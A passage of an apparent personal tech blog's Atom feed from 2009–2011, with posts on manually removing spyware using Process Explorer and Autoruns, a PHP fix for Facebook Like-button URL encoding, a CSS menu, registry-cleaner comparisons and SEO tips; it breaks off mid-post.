url='http://img.youtube.com/vi/5XHtelRoJHM/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5447320705720125767</id><published>2011-02-03T03:23:00.000-08:00</published><updated>2011-02-03T03:26:37.169-08:00</updated><title type='text'>Advanced spyware removal</title><content type='html'>Hello, this time I'll show you how to clean up your computer from spyware, in cases where your antivirus application is not capable of detecting the whole virus signature, or just detects &amp;amp; removes the virus, while in the next scan the virus re-appears infecting even large number of files.&lt;br /&gt;&lt;br /&gt;To do this work properly we'll use 3 free applications: &lt;b class="my_style"&gt;Process Explorer,&lt;/b&gt; &lt;b class="my_style"&gt;Autoruns&lt;/b&gt; and &lt;b class="my_style"&gt;CCleaner&lt;/b&gt;.&lt;br /&gt;Here are the detailed steps of the whole cleaning procedure:&lt;br /&gt;&lt;br /&gt;1. Restart the computer and enter in SAFE MODE.&lt;br /&gt;&lt;br /&gt;2. Start Process Explorer and you'll notice that already started applications(processes), loaded up in the memory at the current time. &lt;br /&gt;Those flashing for a moment and painted with purple are the new / suspicious ones. Point your attention at them particularly.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.terryscomputertips.com/images/newsletters/20060115-processexplorer1.jpg" /&gt; &lt;br /&gt;&lt;br /&gt;3. But how to know which ones are suspicious?&lt;br /&gt;Look for: &lt;br /&gt;&lt;br /&gt;- those using random names&lt;br /&gt;- not having an icon&lt;br /&gt;- without having a description&lt;br /&gt;- carefully check the child processes ( by pressing the + sign) of the following two processes: rundll32.exe and svchost.exe.&lt;br /&gt;(Here is how to do this: open View and check: 1. Show lower pane, 2. Lower pane &lt;br /&gt;view-&amp;gt;dlls). Check out each and every one of their child process, by clicking on the process, while paying attention to the lower left portion of the screen( look out for purple rows)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. When you found some suspicious ones, enter command prompt from Start-&amp;gt;Run-&amp;gt;Cmd, and go to the directory containing the suspicious file( usually /system32 , &lt;br /&gt;/system or /temp and run the following command: calcs file_name.dll /p &lt;br /&gt;everyone:N&lt;br /&gt;&lt;br /&gt;This way you'll disable the file from running and re-infecting the system.&lt;br /&gt;&lt;br /&gt;5. Next, kill each of the suspicious processes via Kill Process command.&lt;br /&gt;Important: please repeat the above procedure until no new purple processes re-appear (meaning that the virus autoloads itself ). Then find the process explorer.exe and stop it with Kill Process Tree. &lt;br /&gt;&amp;nbsp;&lt;img src="http://johnsonyip.com/wordpress/wp-content/uploads/2010/08/Process-explorer-kill-task-right-click-option.jpg" /&gt; &lt;br /&gt;(don't worry when your taskbar disappears.)&lt;br /&gt;&lt;br /&gt;6. Start the AutoRuns:&lt;br /&gt;&lt;img src="http://www.start64.com/images/win64/system/autoruns-1.jpg" /&gt; &lt;br /&gt;From Options check: Hide Microsoft and Windows entries, Verify Code Signatures and press F5.&lt;br /&gt;Take a look at the processes appearing as Not Verified - and uncheck the suspicious ones.&lt;br /&gt;&lt;br /&gt;7. Start the CCleaner application and click on the Run Cleaner button:&lt;br /&gt;&lt;img src="http://www.piriform.com/media/25688/ccleaner1.png" /&gt; &lt;br /&gt;&lt;br /&gt;8. Do a final check the processes in Process Explorer - are there a newly started ones? - if so repeat the procedure including: calcs, kill process and refresh Autoruns (F5) to check again for new start up values. &lt;br /&gt;&lt;br /&gt;9. Restart the computer directly by using the RESET key - don't worry, if this appears as slightly inappropriate - it's important step for the virus not be able to hook to Windows' Start-&amp;gt;Shut down process.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5447320705720125767?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5447320705720125767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5447320705720125767' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5447320705720125767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5447320705720125767'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/02/advanced-spyware-removal.html' title='Advanced spyware removal'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1396322655002255697</id><published>2011-01-14T10:55:00.000-08:00</published><updated>2011-01-20T08:25:59.465-08:00</updated><title type='text'>Fixing facebook like button error</title><content type='html'>Here is the story: Assuming that you want to have like button for your website in order to promote its pages. Meanwhile you do know that your website encoding is not UTF-8. You go straight to facebook.com to get and install the proper javascript or iframe code.&lt;br /&gt;So far so good, the button is ready and shows up on your pages. But when you click on it gives out the nasty error stating:&lt;br /&gt;The page http://www.your_website.com/your-web-page.html cannot be reached:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" height="32" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/TTCT5BMSDbI/AAAAAAAAAgA/Y9RVXm_xfkk/s400/facebook_like_error.png" width="348" /&gt;&lt;/div&gt;After hours of struggling with this problem you are determined either to remove the button or to fix it somehow.&lt;br /&gt;&lt;br /&gt;Here is my solution that works wonderfully with cyrillic URLS ( using windows-1251 encoding ) assuming that you use php place this piece of code at the beginning of your web page:&lt;br /&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;$page=urldecode($_SERVER['REQUEST_URI']); &lt;br /&gt;$page=iconv("UTF-8", "windows-1251", $page);&lt;br /&gt;&lt;br /&gt;if(mb_detect_encoding($page, 'ASCII, UTF-8, ISO-8859-5')=="UTF-8")&lt;br /&gt;{&lt;br /&gt;Header("HTTP/1.1 301 Moved Permanently");&lt;br /&gt;Header("Location: http://{$_SERVER["SERVER_NAME"]}$page"); &lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Explanation is simple: First we detect if the requested url comes from facebook or other UTF-8 encoded website. In such case we redirect(refresh) the whole webpage but this time properly encoded using our preferred windows-1251 encoding. After the redirect the url will be recognized by our system as a valid one. NB: the order of encodings passed to mb_detect_encoding.&lt;br /&gt;If you've been using encoding different than windows-1251 then just replace it in the iconv function like so:&lt;br /&gt;&lt;pre class="brush: php"&gt;$page=iconv("UTF-8", "your_custom_encoding", $page);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1396322655002255697?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1396322655002255697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1396322655002255697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1396322655002255697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1396322655002255697'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2011/01/fixing-facebook-like-button-error.html' title='Fixing facebook like button error'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_nXiUn_G4NDk/TTCT5BMSDbI/AAAAAAAAAgA/Y9RVXm_xfkk/s72-c/facebook_like_error.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7542578790347229233</id><published>2010-12-23T05:11:00.000-08:00</published><updated>2011-02-06T05:13:22.981-08:00</updated><title type='text'>Apple css only menu (navigation bar)</title><content type='html'>I've seen lot of solutions to this menu over the Internet, and here is mine working under IE7+ as well as Firefox without using any &lt;b&gt;images &lt;/b&gt;at all:&lt;br /&gt;CSS:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: css"&gt;.header_menu{&lt;br /&gt;background-image:-moz-linear-gradient(100% 100% 90deg, #959595, #D0D0D0);&lt;br /&gt;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#D0D0D0', EndColorStr='#959595');&lt;br /&gt;color:#333333;&lt;br /&gt;font-family:"Myriad Pro Light";&lt;br /&gt;font-size:1.1em;&lt;br /&gt;height:41px;&lt;br /&gt;text-shadow:0 1px 0 #DFDFDF;&lt;br /&gt;-moz-border-radius:5px;&lt;br /&gt;border-radius: 5px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul.header_menu{&lt;br /&gt;list-style-type:none;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul.header_menu li{&lt;br /&gt;display:block;&lt;br /&gt;float:left;&lt;br /&gt;padding-right:1em;&lt;br /&gt;padding-left:1em;&lt;br /&gt;font-weight:bold;&lt;br /&gt;height:31px;&lt;br /&gt;padding-top:0.7em;&lt;br /&gt;border-right:1px #797979 solid;&lt;br /&gt;cursor:pointer; cursor:hand;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ul.header_menu li:hover{&lt;br /&gt;background-image:-moz-linear-gradient(100% 100% 90deg, #535353, #919191);&lt;br /&gt;filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#919191', EndColorStr='#535353');&lt;br /&gt;color:#ffffff;&lt;br /&gt;text-shadow:none;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;HTML code:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;ul class="header_menu"&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;» 1.Register&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;2 Login&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;li&amp;gt;3.Make money!&amp;lt;/li&amp;gt;&lt;br /&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img alt="apple style css only menu" border="0" src="http://1.bp.blogspot.com/_nXiUn_G4NDk/TRO4QRHfeTI/AAAAAAAAAfo/NRl73BFrzx4/s1600/apple_style_menu.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;End result:&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7542578790347229233?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7542578790347229233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7542578790347229233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7542578790347229233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7542578790347229233'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2010/12/apple-css-only-menu-navigation-bar.html' title='Apple css only menu (navigation bar)'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_nXiUn_G4NDk/TRO4QRHfeTI/AAAAAAAAAfo/NRl73BFrzx4/s72-c/apple_style_menu.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3952596868936814414</id><published>2010-12-18T08:15:00.000-08:00</published><updated>2010-12-18T08:15:52.876-08:00</updated><title type='text'>Testing registry programs</title><content type='html'>5 of the most popular reg tools were tested:&lt;br /&gt;the free ones:&lt;br /&gt;CCleaner&lt;br /&gt;Eusing Free Registry Cleaner&lt;br /&gt;Glary Utilities&lt;br /&gt;&lt;br /&gt;and those requiring purchase:&lt;br /&gt;JV Power Tools&lt;br /&gt;AVG PC Tuneup&lt;br /&gt;(Iolo System Mechanic - hang up upon start)&lt;br /&gt;&lt;br /&gt;Results:&lt;br /&gt;From the &lt;b&gt;free ones &lt;/b&gt;one of the best performance and detection results show &lt;a href="http://download.cnet.com/Glary-Utilities/3000-2094_4-10508531.html"&gt;Glary utilities&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;As a whole&lt;/b&gt;, most problems were detected and fixed from &lt;a href="http://www.avg.com/us-en/downloads.prd-tripct"&gt;AVG PC Tuneup&lt;/a&gt;. The program works very fast and gives quick and clear advices on computer's security (System Advisor).&lt;br /&gt;For example with just one click you can choose to optimize windows services for gamer, office or home computer usage: from  Advanced Tools-&amp;gt;System Tweeks-&amp;gt;Optimize Services.&lt;br /&gt;Both the above programs have the feature of undoing the changes that they've made in your registry database.&lt;br /&gt;&lt;br /&gt;JV Power Tools, as well as Eusing did find additional registry values needing a fix.&lt;br /&gt;&lt;br /&gt;Hope the information is useful to you. Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3952596868936814414?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3952596868936814414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3952596868936814414' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3952596868936814414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3952596868936814414'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2010/12/testing-registry-programs.html' title='Testing registry programs'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1988864633399035232</id><published>2010-10-20T01:43:00.000-07:00</published><updated>2010-10-20T01:44:27.185-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>9 hidden secrets of the SEO companies</title><content type='html'>Here is a short analysis of tactics used by some of the web design firms&lt;br /&gt;(or how not to do things)&lt;br /&gt;&lt;br /&gt;1. On the home page you will find text, stacked with scattered and repeated bold words "web design". The purpose of such repetition is to increase the density(or importance) of the latter keywords in front of the search engines.&lt;br /&gt;&lt;br /&gt;2. Blog translations are incomplete and often show untranslated phrases.&lt;br /&gt;&lt;br /&gt;3. Have a blog in which the article titles are: 'effective web design, web design price, web design trends' - again to increase search engine positions for the words of a particular interest.&lt;br /&gt;&lt;br /&gt;4. Use pictures of foreign persons or flash videos to inspire confidence and professionalism - totally inconsistent with the reality.&lt;br /&gt;&lt;br /&gt;5. Offer SEO or the so called 'search engine optimization', with the promise of a top SERPS, while actually supplying customers with paid links, to rise them temporarily in positions. At the end of the contract those links are being removed and the business again declines in rankings.&lt;br /&gt;&lt;br /&gt;6. On the site one can find many links containing phrases such as: design a website for furniture, design a site for a law firm, website design for real estate, etc., just to intercept a larger audience from a particular search.&lt;br /&gt;&lt;br /&gt;7. Meta tags (View-&amp;gt; Source), and images title attributes are overloaded with keywords or invalid attributes such as: meta page-topic, etc.&lt;br /&gt;&lt;br /&gt;8. Use 4,5 or more .css and .js files in order to impress the clients with effects, while in fact just boring them with the extra loading time.&lt;br /&gt;&lt;br /&gt;9. Pages of a site - entirely based on a flash technology and without further optimization processing are not being indexed by search engines.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1988864633399035232?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1988864633399035232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1988864633399035232' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1988864633399035232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1988864633399035232'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2010/10/9-hidden-secrets-of-seo-companies.html' title='9 hidden secrets of the SEO companies'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2758078748530878675</id><published>2010-07-19T23:08:00.000-07:00</published><updated>2010-07-19T23:08:04.009-07:00</updated><title type='text'>SEO penalty checklist: Iframes</title><content type='html'>Don't believe that it exists?&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Here is how I found it:&lt;/b&gt;&lt;br /&gt;On one website(~500pages) with over of 300 pages indexed in Google, I've used an Iframe linking to other sub-domain in order to display a relevant content.&lt;br /&gt;When I removed the iframe almost immediately, in less than 24 hours my indexed results came up from 300 to 360.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;But why?&lt;/b&gt;&lt;br /&gt;I started searching on the forums and it appeared that Google penalty filter was triggered by such a huge usage of iframes(mistakenly taken as poisoing attack).&lt;br /&gt;Here is short text from Matt Cutts on this:&lt;br /&gt;&lt;blockquote&gt;"Essentially, our search algorithm saw a large area on the blog that was  due to an IFRAME included from another site and that looked spammy to  our automatic classifier." &lt;br /&gt;link: http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/68692a9aefae425f &lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Solution: &lt;/b&gt;&lt;br /&gt;Remove all the &lt;b&gt;iframes &lt;/b&gt;that you have and replpace them with ajax calls or just static HTML content.&lt;br /&gt;Wait a few days and run: site:http://yourwebsite.com to see the difference in the results!&lt;br /&gt;&lt;br /&gt;Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2758078748530878675?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2758078748530878675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2758078748530878675' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2758078748530878675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2758078748530878675'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2010/07/seo-penalty-checklist-iframes.html' title='SEO penalty checklist: Iframes'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2992742674924999613</id><published>2010-05-31T02:44:00.000-07:00</published><updated>2010-05-31T02:49:43.980-07:00</updated><title type='text'>Ethical SEO</title><content type='html'>SEO site tools is a Google Chome plugin that has helped me alot with the optimization of my websites. I'll show you how you can use it with a few basic steps:&lt;br /&gt;1. Load the plugin into Google's browser:&amp;nbsp;&lt;a href="https://chrome.google.com/extensions/detail/diahigjngdnkdgajdbpjdeomopbpkjjc" rel="nofollow"&gt;https://chrome.google.com/extensions/detail/diahigjngdnkdgajdbpjdeomopbpkjjc&lt;/a&gt;&lt;br /&gt;2. Run your web page of interest.&lt;br /&gt;3. Click on the right top corner icon. Then go to page elements. Here you'll find out more about your internal site structure.&lt;br /&gt;&lt;br /&gt;My websites (full with unique content and constantly expanding), had a problem - their content gradually went out of google's index or have been just partially indexed(ie. 50 out of 500 results). After lots of experimenting and reading here are my guidelines for optimizing pages or how easily to get more of your content indexed:&lt;br /&gt;&lt;br /&gt;1. Look especially at the headings like: H1, H2, and make sure that they are unique and not repeating.&lt;br /&gt;&lt;br /&gt;2. Ensure unique meta description wherever you can on your website, even on the pagination results:&amp;nbsp; If you have article with lots of comments - on the 2nd onward comments page remove the original article text and leave just the comments. This way you'll create a brand new unique content page, just like in the forums.&lt;br /&gt;&lt;br /&gt;3. Put special attention to em(italic) and bold tags - they add weight to the web page and if repeated throught the pages, they could trigger google's penalty filter.&lt;br /&gt;&lt;br /&gt;4. Remove repeated occurences such as: Reply to this comment, Vote, etc... - replace such text with unobtrusive javascript.&lt;br /&gt;&lt;br /&gt;5. Improve loading time: inspect page loading time with &lt;a href="http://developer.yahoo.com/yslow/" rel="nofollow"&gt;Yahoo's YSLOW&lt;/a&gt; and make according improvements: make cache version of your pages, remove inefficient javascript requests(like Facebook - replace it with facebook iframe widget, use the new asynchronous Google analytics, gzip your css and javascript files, beware of wordpress wp-cron.php file - it hogs the system CPU resources down and might get you banned from your hosting provider: just rename it or find where's used and disable all calls(includes) to this file, etc...).&lt;br /&gt;&lt;br /&gt;6. If you use Blogger's hosting use this &lt;a href="http://digitalinspiration.com/tools/blogger/sitemap/" rel="nofollow"&gt;sitemap tool&lt;/a&gt; and then go and submit the sitemap in &lt;a href="http://www.google.com/webmasters/" rel="nofollow"&gt;Google's Webmaster tools&lt;/a&gt;. Benefits are that you'll submit your whole blog postings which might be much more than the default 26 updated urls.&lt;br /&gt;&lt;br /&gt;7. Write somewhere the date you've made those changes and check your statistics the next week to determine whether they are beneficial or not.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2992742674924999613?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2992742674924999613/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2992742674924999613' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2992742674924999613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2992742674924999613'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2010/05/ethical-seo.html' title='Ethical SEO'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1482140810548151655</id><published>2009-12-14T04:51:00.000-08:00</published><updated>2011-01-20T13:00:27.996-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Removing spyware</title><content type='html'>As a normal thing in the computer industry, this year viruses, spyware and trojans didn't fail to surprise us with their new infection methods.&lt;br /&gt;We've seen ones infecting important system files in such way that when tried to cure the files they got deleted by the antivirus software. As a result the whole system failed to boot and we had to reinstall the Windows from the ground up.&lt;br /&gt;The new variants were able to penetrate even through Safe mode - they loaded themselves as system drivers thus being unstoppable by the usual antivirus program shields.&lt;br /&gt;And let's not forget the upgraded self modifying code: we've got a case of 1 virus detected by the AV software pretending to be of at least 100 other virus variants by constantly modifying its code.&lt;br /&gt;Also lots of viruses were tracking their own files/memory loaded processes and when modified/deleted by the antivirus application, the whole system got restarted.&lt;br /&gt;More and more spyware didn't touched the HOSTS file in order to redirect you to their own web pages, or slow your surfing, but directly modified the Windows core libraries(DLL-s) and Internet Transfer Protocols this way successfully blocking the antivirus update process, as well as the access the latter respectful websites.&lt;br /&gt;&lt;br /&gt;In case that you might be infected but still unwilling to install Linux here are some practical advices that you can follow in order to remove the newest virus variants from your computer:&lt;br /&gt;&lt;br /&gt;1. Safe mode booting is essential. Few antispyware products could successfully clean up infected process or file in normal mode. The ones that are free and worth mentioning are SpywareTerminator and Microsoft Security Essentials. In case of a stubborn one you might load up Live CD and then run your antivirus software.&lt;br /&gt;&lt;br /&gt;2. If the virus is preventing you from updating your antivirus application, then just use a proxy server or find a mirror offering the latest program's definitions.&lt;br /&gt;&lt;br /&gt;3. Perform scan using various applications: here is a list of the really good and free ones: DrWeb Cureit, a-squared free, malwarebytes anti malware, superantispyware. They have different scanning times as well as virus databases, but are proven effective in case of a strongly infected computer. And if you wish to have protection from a non-free software I would suggest you the fast one from DrWeb or Kaspersky Antivirus(if your machine is a fast one).&lt;br /&gt;&lt;br /&gt;4. Exchange Avast, Norton, NOD32 and so on with AVG, Avira Antiviral Toolkit Pro or Spyware Terminator. The previous excellent Spybot Search and Destroy and AdAware are now useless when faced with the new trojan variants.&lt;br /&gt;&lt;br /&gt;5. Ensure that you've got constantly running access shield and be careful what you're allowing to run - here I could again recommend Spyware Terminator.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1482140810548151655?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1482140810548151655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1482140810548151655' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1482140810548151655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1482140810548151655'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2009/12/removing-spyware-in-2009.html' title='Removing spyware'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-9175683483390388852</id><published>2009-12-03T03:43:00.000-08:00</published><updated>2010-12-25T03:15:54.465-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>SEO penalty checklist: keyword density, canonical urls</title><content type='html'>&lt;div class="separator" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_nXiUn_G4NDk/SxeSvtOIewI/AAAAAAAAAeY/DNd4u63Isc4/s400/google_keywords.gif" /&gt;&lt;/div&gt;The above is a sample screen shot taken from Google's Webmaster Tools &lt;i&gt;Keywords function&lt;/i&gt;. But why should one need such thing when you can right click your Firefox screen and use its integrated Show keyword density function?&lt;br /&gt;Well, one benefit is that this function shows the &lt;b&gt;specific&lt;/b&gt; keyword significance across your pages. Let me show you what do this means:&lt;br /&gt;Suppose that you are optimizing a content for the keyword 'cars'. It's a normal practice to repeat 'cars' 2-3 times, style it in bold etc... Everything's good as long as you do it naturally. The moment you over stuff your page it'll get penalized and loose its current ranking in Google SERPS. So you have to be careful with the repetitions. Next, you can see the &lt;b&gt;overall website&lt;/b&gt; keyword significance. And because Google likes thematic websites it is really important for&lt;i&gt; these keywords to reflect your website purpose or theme&lt;/i&gt;. Otherwise you're just targeting the wrong visitors and shouldn't be puzzled from the high abandonment rate.&lt;br /&gt;&lt;br /&gt;But enough with the theory now let's discuss how you can fix the things right up:&lt;br /&gt;&lt;br /&gt;1. Check every individual webpage &lt;b&gt;keyword density&lt;/b&gt; online via &lt;a href="http://www.webconfs.com/keyword-density-checker.php" rel="nofollow"&gt;Webconfs&lt;/a&gt; and correct(reduce) those words that are being used over 2%. Again this % 